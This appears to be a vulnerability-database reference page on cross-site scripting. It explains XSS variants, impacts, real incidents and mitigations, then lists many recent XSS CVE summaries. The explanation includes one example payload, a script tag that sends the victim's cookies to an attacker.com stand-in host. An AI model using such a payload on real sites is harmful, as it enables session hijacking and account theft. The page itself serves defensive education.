Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (10032)
The RSS Aggregator - RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp-rss-aggregator' shortcode in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' profile field in all versions up to, and including, 1.54 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the automator_discord_user_mapping shortcode in all versions up to, and including, 6.10.0.2 due to insufficient input sanitization and output escaping on the verified_message parameter. [CVSS 6.4 MEDIUM]
8180 Ip Audio Alerter Firmware versions up to 5.5 is affected by cross-site scripting (xss) (CVSS 6.1).
Microsoft Account has a cross-site scripting vulnerability allowing unauthenticated attackers to execute scripts in the context of Microsoft Account pages.
A Cross-Site Scripting (XSS) vulnerability was identified in a parameter in Omada Controllers due to improper input sanitization. Exploitation requires advanced conditions, such as network positioning or emulating a trusted entity, and user interaction by an authenticated administrator.
WP Chill Gallery PhotoBlocks photoblocks-grid-gallery is affected by cross-site scripting (xss) (CVSS 6.5).
DOM-based cross-site scripting in bPlugins B Slider through version 2.0.6 enables authenticated attackers to inject malicious scripts that execute in users' browsers with network access. An attacker with user privileges can exploit improper input neutralization during web page generation to steal session tokens, perform unauthorized actions, or redirect victims to malicious sites. No patch is currently available for this vulnerability.
ThimPress LearnPress Course Review plugin through version 4.1.9 is vulnerable to stored cross-site scripting (XSS) that allows authenticated users with insufficient input validation to inject malicious scripts into course reviews. An attacker with user privileges can exploit this to execute arbitrary JavaScript in other users' browsers, potentially stealing session tokens or performing unauthorized actions on their behalf. No patch is currently available for this vulnerability.
favethemes Houzez Theme - Functionality houzez-theme-functionality is affected by cross-site scripting (xss) (CVSS 5.4).
DOM-based cross-site scripting in PenciDesign Penci Shortcodes & Performance plugin versions 6.1 and earlier allows authenticated attackers to inject malicious scripts that execute in users' browsers. An attacker with user-level privileges can exploit improper input neutralization during page generation to steal session cookies, perform unauthorized actions, or deface content for affected users. No patch is currently available for this vulnerability.
WP Chill Modula Image Gallery modula-best-grid-gallery is affected by cross-site scripting (xss) (CVSS 7.1).
Stored XSS in Micro.company Form to Chat App versions up to 1.2.5 enables authenticated attackers to inject malicious scripts that execute in other users' browsers, potentially compromising session data and stealing sensitive information. The vulnerability stems from insufficient input sanitization during form processing and requires user interaction to trigger. No patch is currently available for this medium-severity flaw.
Stored XSS in Owl Carousel WP through version 2.2.2 allows authenticated users with high privileges to inject malicious scripts that persist in web pages and execute in visitors' browsers. An attacker with administrative access could exploit improper input sanitization to compromise site visitor sessions or steal sensitive data. A patch is not currently available.
Stored XSS in teachPress through version 9.0.12 enables authenticated attackers to inject malicious scripts that execute in other users' browsers, potentially compromising session data and performing unauthorized actions within the application. The vulnerability requires user interaction to trigger and can affect multiple users across the application scope. No security patch is currently available for affected installations.
The Menu In Post plugin for Linux through version 1.4.1 contains a DOM-based cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts into web pages viewed by other users. An attacker with user-level access can exploit this to steal session tokens, deface content, or perform actions on behalf of victims. No patch is currently available for this vulnerability.
subhansanjaya Carousel Horizontal Posts Content Slider carousel-horizontal-posts-content-slider is affected by cross-site scripting (xss) (CVSS 6.5).
Stored XSS in Autodesk Fusion allows attackers to inject malicious HTML into component descriptions that executes when users click the payload, enabling local file theft or arbitrary code execution on affected systems. The vulnerability requires user interaction and local access but carries high impact due to the ability to compromise the desktop application's security context. A patch is available for remediation.
Stored XSS in Autodesk Fusion allows attackers to inject malicious HTML into part attributes that executes when users interact with crafted files, potentially enabling local file access or arbitrary code execution. This desktop application vulnerability requires user interaction but can compromise system integrity through malicious file sharing. A patch is available.
Stored XSS in Autodesk Fusion's design name field allows attackers to inject malicious HTML that executes when users view the delete confirmation dialog, potentially enabling arbitrary code execution or local file access on affected systems. An attacker must first craft a malicious design name that gets stored in the application, then socially engineer a user to interact with the deletion prompt to trigger the payload. A patch is available to address this vulnerability.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Spa grandspa allows Reflected XSS.This issue affects Grand Spa: from n/a through <= 3.5.5. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Magazine grandmagazine allows Reflected XSS.This issue affects Grand Magazine: from n/a through <= 3.5.7. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hossni Mubarak JobWP jobwp allows Stored XSS.This issue affects JobWP: from n/a through <= 2.4.5. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in scriptsbundle CarSpot carspot allows Reflected XSS.This issue affects CarSpot: from n/a through < 2.4.6. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 TableOn posts-table-filterable allows Reflected XSS.This issue affects TableOn: from n/a through <= 1.0.4.2. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Boopathi Rajan WP Test Email wp-test-email allows Reflected XSS.This issue affects WP Test Email: from n/a through <= 1.1.7. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpWave Hide My WP hide_my_wp allows Reflected XSS.This issue affects Hide My WP: from n/a through <= 6.2.12. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Hotel Listing hotel-listing allows Reflected XSS.This issue affects Hotel Listing: from n/a through <= 1.4.0. [CVSS 7.1 HIGH]
highwarden Super Logos Showcase superlogoshowcase-wp is affected by cross-site scripting (xss) (CVSS 7.1).
LambertGroup Universal Video Player universal-video-player is affected by cross-site scripting (xss) (CVSS 7.1).
CridioStudio ListingPro Reviews listingpro-reviews is affected by cross-site scripting (xss) (CVSS 7.1).
LambertGroup Universal Video Player universal-video-player is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QantumThemes KenthaRadio qt-kentharadio allows Reflected XSS.This issue affects KenthaRadio: from n/a through <= 2.2.0. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jegtheme JNews - Video jnews-video allows Reflected XSS.This issue affects JNews - Video: from n/a through <= 11.0.2. [CVSS 7.1 HIGH]
jegtheme JNews - Frontend Submit jnews-frontend-submit is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kriesi Enfold enfold allows DOM-Based XSS.This issue affects Enfold: from n/a through <= 7.1.3. [CVSS 6.5 MEDIUM]
cjjparadoxmax Synergy Project Manager synergy-project-manager is affected by cross-site scripting (xss) (CVSS 5.8).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in shoutoutglobal ShoutOut shoutout allows Reflected XSS.This issue affects ShoutOut: from n/a through <= 4.0.2. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arevico WP Simple Redirect wp-simple-redirect allows Reflected XSS.This issue affects WP Simple Redirect: from n/a through <= 1.1. [CVSS 7.1 HIGH]
extremeidea bidorbuy Store Integrator bidorbuystoreintegrator is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in noCreativity Dooodl dooodl allows Reflected XSS.This issue affects Dooodl: from n/a through <= 2.3.0. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in woofer696 Dinatur dinatur allows Stored XSS.This issue affects Dinatur: from n/a through <= 1.18. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infility Infility Global infility-global allows Stored XSS.This issue affects Infility Global: from n/a through <= 2.14.50. [CVSS 7.1 HIGH]
agmorpheus Syntax Highlighter Compress syntax-highlighter-compress is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Casey Bisson wpCAS wpcas allows Reflected XSS.This issue affects wpCAS: from n/a through <= 1.07. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Frank Corso Quote Master quote-master allows Reflected XSS.This issue affects Quote Master: from n/a through <= 7.1.1. [CVSS 7.1 HIGH]
Remi Corson Easy Theme Options easy-theme-options is affected by cross-site scripting (xss) (CVSS 7.1).
expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in matiskiba Ravpage ravpage allows Reflected XSS.This issue affects Ravpage: from n/a through <= 2.33. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Craft craftcoffee allows DOM-Based XSS.This issue affects Craft: from n/a through <= 2.3.6. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods DotLife dotlife allows Reflected XSS.This issue affects DotLife: from n/a through < 4.9.5. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Hoteller hoteller allows Reflected XSS.This issue affects Hoteller: from n/a through < 6.8.9. [CVSS 7.1 HIGH]
codisto Omnichannel for WooCommerce codistoconnect is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dmytro Shteflyuk CodeColorer codecolorer allows Stored XSS.This issue affects CodeColorer: from n/a through <= 0.10.1. [CVSS 7.1 HIGH]
GLS GLS Shipping for WooCommerce gls-shipping-for-woocommerce is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in netgsm Netgsm netgsm allows Reflected XSS.This issue affects Netgsm: from n/a through <= 2.9.63. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mndpsingh287 WP Mail wp-mail allows Reflected XSS.This issue affects WP Mail: from n/a through <= 1.3. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kapil Chugh My Post Order my-posts-order allows Reflected XSS.This issue affects My Post Order: from n/a through <= 1.2.1.1. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in favethemes Homey Core homey-core allows Reflected XSS.This issue affects Homey Core: from n/a through <= 2.4.3. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in purethemes WorkScout-Core workscout-core allows Reflected XSS.This issue affects WorkScout-Core: from n/a through <= 1.7.06. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in purethemes WorkScout workscout allows Reflected XSS.This issue affects WorkScout: from n/a through <= 4.1.07. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Tour grandtour allows Reflected XSS.This issue affects Grand Tour: from n/a through < 5.6.2. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in designingmedia Hostiko hostiko allows Reflected XSS.This issue affects Hostiko: from n/a through < 94.3.6. [CVSS 7.1 HIGH]
scriptsbundle AdForest Elementor adforest-elementor is affected by cross-site scripting (xss) (CVSS 7.1).
wphocus My auctions allegro my-auctions-allegro-free-edition is affected by cross-site scripting (xss) (CVSS 7.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows Reflected XSS.This issue affects JetEngine: from n/a through <= 3.7.7. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CleverSoft Anon anon2x allows Reflected XSS.This issue affects Anon: from n/a through <= 2.2.10. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in foreverpinetree TheNa thena allows Reflected XSS.This issue affects TheNa: from n/a through <= 1.5.5. [CVSS 7.1 HIGH]
ThemeGoods Grand Restaurant Theme Elements for Elementor grandrestaurant-elementor is affected by cross-site scripting (xss) (CVSS 5.4).
SEOSEON EUROPE S.L Affiliate Link Tracker affiliate-link-tracker is affected by cross-site scripting (xss) (CVSS 5.9).
adamlabs WordPress Photo Gallery photo-gallery-portfolio is affected by cross-site scripting (xss) (CVSS 6.1).
flexostudio flexo-posts-manager flexo-posts-manager is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ayecode Restaurante restaurante allows Reflected XSS.This issue affects Restaurante: from n/a through <= 3.0.7. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jthemes xSmart xsmart allows Reflected XSS.This issue affects xSmart: from n/a through <= 1.2.9.4. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows DOM-Based XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.2. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pondol Pondol BBS pondol-bbs allows Stored XSS.This issue affects Pondol BBS: from n/a through <= 1.1.8.4. [CVSS 5.4 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ApusTheme Drone drone allows Reflected XSS.This issue affects Drone: from n/a through <= 1.40. [CVSS 6.1 MEDIUM]
LambertGroup Accordion Slider PRO accordion_slider_pro is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup xPromoter top_bar_promoter allows Reflected XSS.This issue affects xPromoter: from n/a through <= 1.3.4. [CVSS 6.1 MEDIUM]
highwarden Super Interactive Maps super-interactive-maps is affected by cross-site scripting (xss) (CVSS 6.1).
LambertGroup Magic Responsive Slider and Carousel WordPress magic_carousel is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup Magic Slider magic_slider allows Reflected XSS.This issue affects Magic Slider: from n/a through <= 2.2. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup Image&Video FullScreen Background lbg_fullscreen_fullwidth_slider allows Reflected XSS.This issue affects Image&Video FullScreen Background: from n/a through <= 1.6.7. [CVSS 6.1 MEDIUM]
Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in xtemos WoodMart woodmart allows Code Injection.This issue affects WoodMart: from n/a through <= 8.3.7. [CVSS 6.1 MEDIUM]
Benjamin Intal Stackable stackable-ultimate-gutenberg-blocks is affected by cross-site scripting (xss) (CVSS 5.4).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup HTML5 Video Player with Playlist & Multiple Skins lbg-vp2-html5-rightside allows Reflected XSS.This issue affects HTML5 Video Player with Playlist & Multiple Skins: from n/a through <= 5.3.5. [CVSS 6.1 MEDIUM]
LambertGroup HTML5 Video Player lbg-vp2-html5-bottom is affected by cross-site scripting (xss) (CVSS 6.1).
Quick.Cart is vulnerable to reflected XSS via the sSort parameter. An attacker can craft a malicious URL which, when opened, results in arbitrary JavaScript execution in the victim’s browser. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Aida Computer Information Technology Inc. Hotel Guest Hotspot allows Reflected XSS.This issue affects Hotel Guest Hotspot: through 22012026. [CVSS 5.5 MEDIUM]
Horilla HRMS version 1.4.0 contains insufficient input validation in its XSS prevention function, allowing attackers to bypass protections through context-agnostic regex patterns. Public exploit code exists for this vulnerability, enabling attackers to redirect users to malicious sites, execute arbitrary JavaScript, and steal CSRF tokens for use in admin-targeted attacks. The vulnerability affects Horilla 1.4.0 and has been patched in version 1.5.0.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 10032